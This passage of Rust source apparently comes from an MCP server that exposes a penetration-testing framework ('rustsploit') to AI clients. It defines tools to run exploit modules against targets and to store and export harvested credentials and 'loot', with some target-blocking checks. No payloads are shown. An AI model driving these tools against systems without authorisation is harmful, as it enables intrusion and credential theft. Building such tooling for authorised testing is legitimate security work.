write_response(&mut protocol_out, &resp).await?;
continue;
}
};
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let request: JsonRpcRequest = match serde_json::from_str(trimmed) {
Ok(r) => r,
Err(e) => {
eprintln!("[MCP] parse error: {}", e);
let resp = JsonRpcResponse::error(None, -32700, format!("Parse error: {}", e));
write_response(&mut protocol_out, &resp).await?;
continue;
}
};
eprintln!("[MCP] <- method={}", request.method);
let response = handle_request(request).await;
if let Some(resp) = response {
write_response(&mut protocol_out, &resp).await?;
}
}
Ok(())
}
/// Serialize a response as a single JSON line on the protocol channel.
async fn write_response(
out: &mut (dyn tokio::io::AsyncWrite + Unpin + Send),
resp: &JsonRpcResponse,
) -> anyhow::Result<()> {
let mut json = serde_json::to_vec(resp).context("failed to serialize response")?;
json.push(b'\n');
out.write_all(&json).await.context("failed to write response")?;
out.flush().await.context("failed to flush protocol channel")?;
Ok(())
}
/// Route a parsed request to the appropriate handler.
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
match req.method.as_str() {
"initialize" => Some(handle_initialize(req.id)),
"initialized" | "notifications/initialized" => {
// Notification — no response.
eprintln!("[MCP] Client initialized");
None
}
"tools/list" => Some(handle_tools_list(req.id)),
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
"resources/list" => Some(handle_resources_list(req.id)),
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
other if other.starts_with("notifications/") => {
eprintln!("[MCP] Ignoring notification: {}", other);
None
}
other => Some(JsonRpcResponse::error(
req.id,
-32601,
format!("Method not found: {}", other),
))
}
}
// ---------------------------------------------------------------------------
// Handler implementations
// ---------------------------------------------------------------------------
fn handle_initialize(id: Option<Value>) -> JsonRpcResponse {
let result = InitializeResult {
protocol_version: "2024-11-05".to_string(),
capabilities: ServerCapabilities {
tools: Some(ToolsCapability {}),
resources: Some(ResourcesCapability {}),
},
server_info: ServerInfo {
name: "rustsploit-mcp".to_string(),
version: env!("CARGO_PKG_VERSION").to_string(),
},
};
match serde_json::to_value(&result) {
Ok(v) => JsonRpcResponse::success(id, v),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
}
}
fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
let tools = super::tools::all_tools();
match serde_json::to_value(&tools) {
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "tools": v })),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
}
}
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
let (name, arguments) = match extract_tool_call_params(&params) {
Ok(pair) => pair,
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
};
let result = super::tools::call_tool(&name, arguments).await;
match serde_json::to_value(&result) {
Ok(v) => JsonRpcResponse::success(id, v),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
}
}
fn handle_resources_list(id: Option<Value>) -> JsonRpcResponse {
let resources = super::resources::all_resources();
match serde_json::to_value(&resources) {
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "resources": v })),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
}
}
async fn handle_resources_read(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
let uri = match extract_resource_uri(&params) {
Ok(u) => u,
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
};
let result = super::resources::read_resource(&uri).await;
// The MCP spec (2024-11-05) requires `resources/read` to return
// `{ contents: [ { uri, mimeType, text } ] }` — a list, not a bare content
// object. Claude's client rejects the bare shape silently.
match serde_json::to_value(&result) {
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "contents": [v] })),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
}
}
// ---------------------------------------------------------------------------
// Param extraction helpers
// ---------------------------------------------------------------------------
/// Pull `name` (String) and `arguments` (Object) out of the `tools/call` params.
fn extract_tool_call_params(params: &Option<Value>) -> Result<(String, Value), String> {
let obj = params
.as_ref()
.and_then(|v| v.as_object())
.ok_or_else(|| "Invalid params: expected object with 'name' and 'arguments'".to_string())?;
let name = obj
.get("name")
.and_then(|v| v.as_str())
.ok_or_else(|| "Missing or invalid 'name' in params".to_string())?
.to_string();
let arguments = obj
.get("arguments")
.cloned()
.unwrap_or_else(|| serde_json::json!({}));
Ok((name, arguments))
}
/// Pull `uri` (String) out of the `resources/read` params.
fn extract_resource_uri(params: &Option<Value>) -> Result<String, String> {
let obj = params
.as_ref()
.and_then(|v| v.as_object())
.ok_or_else(|| "Invalid params: expected object with 'uri'".to_string())?;
let uri = obj
.get("uri")
.and_then(|v| v.as_str())
.ok_or_else(|| "Missing or invalid 'uri' in params".to_string())?
.to_string();
Ok(uri)
}
+888
View File
@@ -0,0 +1,888 @@
use std::collections::HashMap;
use once_cell::sync::Lazy;
use serde_json::{json, Value};
use super::types::{Tool, ToolResult};
/// Cached tool definitions — built once, reused on every tools/list call.
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
/// Return definitions for all MCP tools (cached).
pub fn all_tools() -> Vec<Tool> {
TOOL_DEFINITIONS.clone()
}
fn build_tool_definitions() -> Vec<Tool> {
vec![
// ── Module tools ──────────────────────────────────────────────
Tool {
name: "list_modules".into(),
description: "List all available modules, optionally filtered by category".into(),
input_schema: json!({
"type": "object",
"properties": {
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
}
}),
},
Tool {
name: "search_modules".into(),
description: "Search modules by keyword (case-insensitive substring match)".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string", "description": "Search query" }
},
"required": ["query"]
}),
},
Tool {
name: "module_info".into(),
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
},
"required": ["module_path"]
}),
},
Tool {
name: "check_module".into(),
description: "Run a non-destructive vulnerability check against a target".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path" },
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" }
},
"required": ["module_path", "target"]
}),
},
// ── Target tools ──────────────────────────────────────────────
Tool {
name: "set_target".into(),
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
input_schema: json!({
"type": "object",
"properties": {
"target": { "type": "string", "description": "Target value" }
},
"required": ["target"]
}),
},
Tool {
name: "get_target".into(),
description: "Get the current global target, its size, and whether it is a subnet".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "clear_target".into(),
description: "Clear the global target".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
// ── Execution ─────────────────────────────────────────────────
Tool {
name: "run_module".into(),
description: "Execute a module against a target, returning captured output".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path" },
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" },
"port": { "type": "integer", "description": "Optional port override" },
"verbose": { "type": "boolean", "description": "Enable verbose output" },
"prompts": {
"type": "object",
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
"additionalProperties": { "type": "string" }
}
},
"required": ["module_path", "target"]
}),
},
// ── Credentials ───────────────────────────────────────────────
Tool {
name: "list_creds".into(),
description: "List all stored credentials".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "search_creds".into(),
description: "Search credentials by host, service, or username".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string", "description": "Search query" }
},
"required": ["query"]
}),
},
Tool {
name: "add_cred".into(),
description: "Add a credential to the store".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"username": { "type": "string" },
"secret": { "type": "string" },
"port": { "type": "integer", "default": 0 },
"service": { "type": "string", "default": "unknown" },
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
},
"required": ["host", "username", "secret"]
}),
},
Tool {
name: "delete_cred".into(),
description: "Delete a credential by its ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "string", "description": "Credential ID" }
},
"required": ["id"]
}),
},
// ── Workspace hosts & services ────────────────────────────────
Tool {
name: "list_hosts".into(),
description: "List all tracked hosts in the current workspace".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "add_host".into(),
description: "Add or update a host in the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"ip": { "type": "string" },
"hostname": { "type": "string" },
"os_guess": { "type": "string" }
},
"required": ["ip"]
}),
},
Tool {
name: "delete_host".into(),
description: "Delete a host (and its services) from the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"ip": { "type": "string" }
},
"required": ["ip"]
}),
},
Tool {
name: "list_services".into(),
description: "List all tracked services in the current workspace".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "add_service".into(),
description: "Add or update a service in the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"port": { "type": "integer" },
"service_name": { "type": "string" },
"protocol": { "type": "string", "default": "tcp" },
"version": { "type": "string" }
},
"required": ["host", "port", "service_name"]
}),
},
Tool {
name: "delete_service".into(),
description: "Delete a service by host and port".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"port": { "type": "integer" }
},
"required": ["host", "port"]
}),
},
// ── Loot ──────────────────────────────────────────────────────
Tool {
name: "list_loot".into(),
description: "List all stored loot entries".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "search_loot".into(),
description: "Search loot by host, type, or description".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string" }
},
"required": ["query"]
}),
},
Tool {
name: "add_loot".into(),
description: "Store a loot entry (text data)".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
"data": { "type": "string", "description": "Loot content (text)" },
"description": { "type": "string" }
},
"required": ["host", "loot_type", "data"]
}),
},
Tool {
name: "delete_loot".into(),
description: "Delete a loot entry by ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "string" }
},
"required": ["id"]
}),
},
// ── Global options ────────────────────────────────────────────
Tool {
name: "list_options".into(),
description: "List all persistent global options (setg values)".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "set_option".into(),
description: "Set a persistent global option".into(),
input_schema: json!({
"type": "object",
"properties": {
"key": { "type": "string" },
"value": { "type": "string" }
},
"required": ["key", "value"]
}),
},
Tool {
name: "unset_option".into(),
description: "Remove a persistent global option".into(),
input_schema: json!({
"type": "object",
"properties": {
"key": { "type": "string" }
},
"required": ["key"]
}),
},
// ── Jobs ──────────────────────────────────────────────────────
Tool {
name: "list_jobs".into(),
description: "List active background jobs".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "kill_job".into(),
description: "Kill a background job by ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "integer" }
},
"required": ["id"]
}),
},
// ── Workspace management ──────────────────────────────────────
Tool {
name: "list_workspaces".into(),
description: "List all available workspaces".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "switch_workspace".into(),
description: "Switch to a different workspace (creates it if it does not exist)".into(),
input_schema: json!({
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}),
},
// ── Export ────────────────────────────────────────────────────
Tool {
name: "export_data".into(),
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
]
}
// ===========================================================================
// Tool dispatch
// ===========================================================================
/// Dispatch a tool call by name.
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
match name {
// ── Module tools ──────────────────────────────────────────
"list_modules" => handle_list_modules(&args),
"search_modules" => handle_search_modules(&args),
"module_info" => handle_module_info(&args),
"check_module" => handle_check_module(&args).await,
// ── Target tools ──────────────────────────────────────────
"set_target" => handle_set_target(&args).await,
"get_target" => handle_get_target(),
"clear_target" => handle_clear_target(),
// ── Execution ─────────────────────────────────────────────
"run_module" => handle_run_module(&args).await,
// ── Credentials ───────────────────────────────────────────
"list_creds" => handle_list_creds().await,
"search_creds" => handle_search_creds(&args).await,
"add_cred" => handle_add_cred(&args).await,
"delete_cred" => handle_delete_cred(&args).await,
// ── Workspace hosts & services ────────────────────────────
"list_hosts" => handle_list_hosts().await,
"add_host" => handle_add_host(&args).await,
"delete_host" => handle_delete_host(&args).await,
"list_services" => handle_list_services().await,
"add_service" => handle_add_service(&args).await,
"delete_service" => handle_delete_service(&args).await,
// ── Loot ──────────────────────────────────────────────────
"list_loot" => handle_list_loot().await,
"search_loot" => handle_search_loot(&args).await,
"add_loot" => handle_add_loot(&args).await,
"delete_loot" => handle_delete_loot(&args).await,
// ── Global options ────────────────────────────────────────
"list_options" => handle_list_options().await,
"set_option" => handle_set_option(&args).await,
"unset_option" => handle_unset_option(&args).await,
// ── Jobs ──────────────────────────────────────────────────
"list_jobs" => handle_list_jobs(),
"kill_job" => handle_kill_job(&args),
// ── Workspace management ──────────────────────────────────
"list_workspaces" => handle_list_workspaces().await,
"switch_workspace" => handle_switch_workspace(&args).await,
// ── Export ────────────────────────────────────────────────
"export_data" => handle_export_data().await,
_ => ToolResult::error(format!("Unknown tool: {}", name)),
}
}
// ===========================================================================
// Helpers to extract typed values from serde_json::Value
// ===========================================================================
/// Extract a required string parameter, returning ToolResult::error if missing.
macro_rules! require_str {
($args:expr, $key:expr) => {
match str_param($args, $key) {
Some(v) => v,
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
}
};
}
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
args.get(key).and_then(|v| v.as_str())
}
fn u16_param(args: &Value, key: &str) -> Option<u16> {
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u16)
}
fn u32_param(args: &Value, key: &str) -> Option<u32> {
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u32)
}
fn bool_param(args: &Value, key: &str) -> Option<bool> {
args.get(key).and_then(|v| v.as_bool())
}
fn prompts_param(args: &Value) -> HashMap<String, String> {
let mut map = HashMap::new();
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
for (k, v) in obj {
if let Some(s) = v.as_str() {
map.insert(k.clone(), s.to_string());
}
}
}
map
}
// ===========================================================================
// Individual tool handlers
// ===========================================================================
// ── Module tools ──────────────────────────────────────────────────────────
fn handle_list_modules(args: &Value) -> ToolResult {
let modules = crate::commands::discover_modules();
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
let prefix = format!("{}/", cat);
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
} else {
modules.iter().collect()
};
ToolResult::json(&filtered)
}
fn handle_search_modules(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let q_lower = query.to_lowercase();
let modules = crate::commands::discover_modules();
let matched: Vec<&String> = modules
.iter()
.filter(|m| m.to_lowercase().contains(&q_lower))
.collect();
ToolResult::json(&matched)
}
fn handle_module_info(args: &Value) -> ToolResult {
let path = require_str!(args, "module_path");
if !crate::api::validate_module_name(path) {
return ToolResult::error("Invalid module name".into());
}
match crate::commands::module_info(path) {
Some(info) => ToolResult::json(&info),
None => ToolResult::error(format!("No info available for module '{}'", path)),
}
}
async fn handle_check_module(args: &Value) -> ToolResult {
let path = require_str!(args, "module_path");
let target = require_str!(args, "target");
if !crate::api::validate_module_name(path) {
return ToolResult::error("Invalid module name".into());
}
if !crate::api::validate_target(target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(target).await {
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
}
match crate::commands::check_module(path, target).await {
Some(result) => ToolResult::json(&result),
None => ToolResult::error(format!("Module '{}' does not support check", path)),
}
}
// ── Target tools ──────────────────────────────────────────────────────────
async fn handle_set_target(args: &Value) -> ToolResult {
let target = require_str!(args, "target");
if !crate::api::validate_target(target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(target).await {
return ToolResult::error("Target resolves to blocked address".into());
}
match crate::config::GLOBAL_CONFIG.set_target(target) {
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
}
}
fn handle_get_target() -> ToolResult {
let target = crate::config::GLOBAL_CONFIG.get_target();
let size = crate::config::GLOBAL_CONFIG.get_target_size();
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
ToolResult::json(&json!({
"target": target,
"size": size,
"is_subnet": is_subnet,
}))
}
fn handle_clear_target() -> ToolResult {
crate::config::GLOBAL_CONFIG.clear_target();
ToolResult::text("Target cleared".into())
}
// ── Execution ─────────────────────────────────────────────────────────────
async fn handle_run_module(args: &Value) -> ToolResult {
let module_path = require_str!(args, "module_path").to_string();
let target = require_str!(args, "target").to_string();
let verbose = bool_param(args, "verbose").unwrap_or(false);
if !crate::api::validate_module_name(&module_path) {
return ToolResult::error("Invalid module name".into());
}
if !crate::api::validate_target(&target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(&target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(&target).await {
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
}
if !crate::commands::discover_modules().contains(&module_path) {
return ToolResult::error(format!("Module '{}' not found", module_path));
}
let mut prompts = prompts_param(args);
// Inject port into prompts if provided as a top-level parameter
if let Some(port) = u16_param(args, "port") {
prompts.entry("port".into()).or_insert_with(|| port.to_string());
}
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
prompts.remove("target");
let module_config = crate::config::ModuleConfig {
api_mode: true,
custom_prompts: prompts,
..Default::default()
};
let output_buf = crate::output::OutputBuffer::new();
let buf_clone = output_buf.clone();
let (result, _ctx) = crate::context::run_with_context_target(
module_config,
target.clone(),
|| async {
crate::output::OUTPUT_BUFFER
.scope(buf_clone, async {
crate::commands::run_module(&module_path, &target, verbose).await
})
.await
},
)
.await;
let stdout = output_buf.drain_stdout();
let stderr = output_buf.drain_stderr();
match result {
Ok(()) => {
let mut text = stdout;
if !stderr.is_empty() {
text.push_str("\n--- stderr ---\n");
text.push_str(&stderr);
}
if text.is_empty() {
text = "Module completed successfully (no output captured)".into();
}
ToolResult::text(text)
}
Err(e) => {
let mut msg = format!("Module error: {}\n", e);
if !stdout.is_empty() {
msg.push_str("\n--- stdout ---\n");
msg.push_str(&stdout);
}
if !stderr.is_empty() {
msg.push_str("\n--- stderr ---\n");
msg.push_str(&stderr);
}
ToolResult::error(msg)
}
}
}
// ── Credentials ───────────────────────────────────────────────────────────
async fn handle_list_creds() -> ToolResult {
let creds = crate::cred_store::CRED_STORE.list().await;
ToolResult::json(&creds)
}
async fn handle_search_creds(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let results = crate::cred_store::CRED_STORE.search(query).await;
ToolResult::json(&results)
}
async fn handle_add_cred(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let username = require_str!(args, "username");
let secret = require_str!(args, "secret");
let port = match u16_param(args, "port") {
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
Some(p) => p,
None => return ToolResult::error("Missing required parameter: port".into()),
};
let service = str_param(args, "service").unwrap_or("unknown");
if host.len() > 4096 || host.chars().any(|c| c.is_control()) {
return ToolResult::error("host too long (max 4096) or contains control characters".into());
}
if username.len() > 4096 || username.chars().any(|c| c.is_control()) {
return ToolResult::error("username too long (max 4096) or contains control characters".into());
}
if secret.len() > 4096 {
return ToolResult::error("secret too long (max 4096 chars)".into());
}
if service.len() > 4096 || service.chars().any(|c| c.is_control()) {
return ToolResult::error("service too long (max 4096) or contains control characters".into());
}
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
"hash" => crate::cred_store::CredType::Hash,
"key" => crate::cred_store::CredType::Key,
"token" => crate::cred_store::CredType::Token,
_ => crate::cred_store::CredType::Password,
};
match crate::cred_store::CRED_STORE
.add(host, port, service, username, secret, cred_type, "mcp")
.await
{
Some(id) => ToolResult::json(&json!({ "id": id, "status": "added" })),
None => ToolResult::error("Failed to add credential (store limit reached or I/O error)".into()),
}
}
async fn handle_delete_cred(args: &Value) -> ToolResult {
let id = require_str!(args, "id");
if crate::cred_store::CRED_STORE.delete(id).await {
ToolResult::text(format!("Credential {} deleted", id))
} else {
ToolResult::error(format!("Credential {} not found", id))
}
}
// ── Workspace hosts & services ────────────────────────────────────────────
async fn handle_list_hosts() -> ToolResult {
let hosts = crate::workspace::WORKSPACE.hosts().await;
ToolResult::json(&hosts)
}
async fn handle_add_host(args: &Value) -> ToolResult {
let ip = require_str!(args, "ip");
if ip.len() > 256 || ip.chars().any(|c| c.is_control()) {
return ToolResult::error("IP too long (max 256) or contains control characters".into());
}
let hostname = str_param(args, "hostname");
if let Some(h) = hostname {
if h.len() > 256 || h.chars().any(|c| c.is_control()) {
return ToolResult::error("hostname too long (max 256) or contains control characters".into());
}
}
let os_guess = str_param(args, "os_guess");
if let Some(o) = os_guess {
if o.len() > 256 || o.chars().any(|c| c.is_control()) {
return ToolResult::error("os_guess too long (max 256) or contains control characters".into());
}
}
crate::workspace::WORKSPACE
.add_host(ip, hostname, os_guess)
.await;
ToolResult::text(format!("Host {} added/updated", ip))
}
async fn handle_delete_host(args: &Value) -> ToolResult {
let ip = require_str!(args, "ip");
if crate::workspace::WORKSPACE.delete_host(ip).await {
ToolResult::text(format!("Host {} deleted", ip))
} else {
ToolResult::error(format!("Host {} not found", ip))
}
}
async fn handle_list_services() -> ToolResult {
let services = crate::workspace::WORKSPACE.services().await;
ToolResult::json(&services)
}
async fn handle_add_service(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let port = match u16_param(args, "port") {
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
Some(v) => v,
None => return ToolResult::error("Missing required parameter: port".into()),
};
if host.len() > 256 || host.chars().any(|c| c.is_control()) {
return ToolResult::error("host too long (max 256) or contains control characters".into());
}
let service_name = require_str!(args, "service_name");
let protocol = str_param(args, "protocol").unwrap_or("tcp");
if protocol.len() > 256 || protocol.chars().any(|c| c.is_control()) {
return ToolResult::error("protocol too long (max 256) or contains control characters".into());
}
let version = str_param(args, "version");
crate::workspace::WORKSPACE
.add_service(host, port, protocol, service_name, version)
.await;
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
}
async fn handle_delete_service(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let port = match u16_param(args, "port") {
Some(v) => v,
None => return ToolResult::error("Missing required parameter: port".into()),
};
if crate::workspace::WORKSPACE.delete_service(host, port).await {
ToolResult::text(format!("Service {}:{} deleted", host, port))
} else {
ToolResult::error(format!("Service {}:{} not found", host, port))
}
}
// ── Loot ──────────────────────────────────────────────────────────────────
async fn handle_list_loot() -> ToolResult {
let loot = crate::loot::LOOT_STORE.list().await;
ToolResult::json(&loot)
}
async fn handle_search_loot(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let results = crate::loot::LOOT_STORE.search(query).await;
ToolResult::json(&results)
}
async fn handle_add_loot(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let loot_type = require_str!(args, "loot_type");
let data = require_str!(args, "data");
let description = str_param(args, "description").unwrap_or("");
if host.len() > 256 || loot_type.len() > 256 {
return ToolResult::error("host or loot_type too long (max 256)".into());
}
if description.len() > 4096 {
return ToolResult::error("description too long (max 4096)".into());
}
const MAX_LOOT_DATA: usize = 100 * 1024 * 1024;
if data.len() > MAX_LOOT_DATA {
return ToolResult::error(format!("data too large ({} bytes, max {} MB)", data.len(), MAX_LOOT_DATA / 1024 / 1024));
}
match crate::loot::LOOT_STORE
.add_text(host, loot_type, description, data, "mcp")
.await
{
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
}
}
async fn handle_delete_loot(args: &Value) -> ToolResult {
let id = require_str!(args, "id");
if crate::loot::LOOT_STORE.delete(id).await {
ToolResult::text(format!("Loot {} deleted", id))
} else {
ToolResult::error(format!("Loot {} not found", id))
}
}
// ── Global options ────────────────────────────────────────────────────────
async fn handle_list_options() -> ToolResult {
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
ToolResult::json(&opts)
}
async fn handle_set_option(args: &Value) -> ToolResult {
let key = require_str!(args, "key");
let value = require_str!(args, "value");
if !crate::global_options::GLOBAL_OPTIONS.set(key, value).await {
return ToolResult::error(format!("Failed to set '{}': key/value too long or entry limit reached", key));
}
ToolResult::text(format!("{} => {}", key, value))
}
async fn handle_unset_option(args: &Value) -> ToolResult {
let key = require_str!(args, "key");
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
ToolResult::text(format!("Option '{}' removed", key))
} else {
ToolResult::error(format!("Option '{}' not found", key))
}
}
// ── Jobs ──────────────────────────────────────────────────────────────────
fn handle_list_jobs() -> ToolResult {
let jobs = crate::jobs::JOB_MANAGER.list();
let entries: Vec<Value> = jobs
.into_iter()
.map(|(id, module, target, started, status)| {
json!({
"id": id,
"module": module,
"target": target,
"started": started,
"status": status,
})
})
.collect();
ToolResult::json(&entries)
}
fn handle_kill_job(args: &Value) -> ToolResult {
let id = match u32_param(args, "id") {
Some(v) => v,
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
};
if crate::jobs::JOB_MANAGER.kill(id) {
ToolResult::text(format!("Job {} killed", id))
} else {
ToolResult::error(format!("Job {} not found", id))
}
}
// ── Workspace management ──────────────────────────────────────────────────
async fn handle_list_workspaces() -> ToolResult {
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
let current = crate::workspace::WORKSPACE.current_name().await;
ToolResult::json(&json!({
"workspaces": workspaces,
"current": current,
}))
}
async fn handle_switch_workspace(args: &Value) -> ToolResult {
let name = require_str!(args, "name");
if name.is_empty() || name.len() > 64
|| name.chars().any(|c| !c.is_alphanumeric() && c != '_' && c != '-')
{
return ToolResult::error("Workspace name must be 1-64 alphanumeric chars, dashes, or underscores".into());
}
crate::workspace::WORKSPACE.switch(name).await;
ToolResult::text(format!("Switched to workspace: {}", name))
}
// ── Export ─────────────────────────────────────────────────────────────────
async fn handle_export_data() -> ToolResult {
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
let creds = crate::cred_store::CRED_STORE.list().await;
let loot = crate::loot::LOOT_STORE.list().await;
ToolResult::json(&json!({
"workspace": workspace_name,
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
"hosts": workspace_data.hosts,
"services": workspace_data.services,
"credentials": creds,
"loot": loot,
}))
}
+185
View File
@@ -0,0 +1,185 @@
use serde::{Deserialize, Serialize};
use serde_json::Value;
// ---------------------------------------------------------------------------
// JSON-RPC 2.0 core types
// ---------------------------------------------------------------------------
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
#[derive(Deserialize)]
pub struct JsonRpcRequest {
pub jsonrpc: String,
/// `None` means this is a notification (no response expected).
pub id: Option<Value>,
pub method: String,
pub params: Option<Value>,
}
/// Outgoing JSON-RPC 2.0 response.
#[derive(Serialize)]
pub struct JsonRpcResponse {
pub jsonrpc: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub id: Option<Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub result: Option<Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<JsonRpcError>,
}
/// JSON-RPC 2.0 error object.
#[derive(Serialize)]
pub struct JsonRpcError {
pub code: i64,
pub message: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub data: Option<Value>,
}
impl JsonRpcResponse {
/// Build a successful response carrying `result`.
pub fn success(id: Option<Value>, result: Value) -> Self {
Self {
jsonrpc: "2.0".to_string(),
id,
result: Some(result),
error: None,
}
}
/// Build an error response.
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
Self {
jsonrpc: "2.0".to_string(),
id,
result: None,
error: Some(JsonRpcError {
code,
message,
data: None,
}),
}
}
}
// ---------------------------------------------------------------------------
// MCP capability negotiation
// ---------------------------------------------------------------------------
/// Returned as the result of the `initialize` method.
#[derive(Serialize)]
pub struct InitializeResult {
#[serde(rename = "protocolVersion")]
pub protocol_version: String,
pub capabilities: ServerCapabilities,
#[serde(rename = "serverInfo")]
pub server_info: ServerInfo,
}
#[derive(Serialize)]
pub struct ServerCapabilities {
#[serde(skip_serializing_if = "Option::is_none")]
pub tools: Option<ToolsCapability>,
#[serde(skip_serializing_if = "Option::is_none")]
pub resources: Option<ResourcesCapability>,
}
#[derive(Serialize)]
pub struct ToolsCapability {}
#[derive(Serialize)]
pub struct ResourcesCapability {}
#[derive(Serialize)]
pub struct ServerInfo {
pub name: String,
pub version: String,
}
// ---------------------------------------------------------------------------
// Tools
// ---------------------------------------------------------------------------
/// Descriptor returned by `tools/list`.
#[derive(Serialize, Clone)]
pub struct Tool {
pub name: String,
pub description: String,
#[serde(rename = "inputSchema")]
pub input_schema: Value,
}
/// Result payload returned by `tools/call`.
#[derive(Serialize)]
pub struct ToolResult {
pub content: Vec<ToolContent>,
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
pub is_error: Option<bool>,
}
/// A single content block inside a `ToolResult`.
#[derive(Serialize)]
pub struct ToolContent {
#[serde(rename = "type")]
pub content_type: String,
pub text: String,
}
impl ToolResult {
/// Plain-text result.
pub fn text(s: String) -> Self {
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text: s,
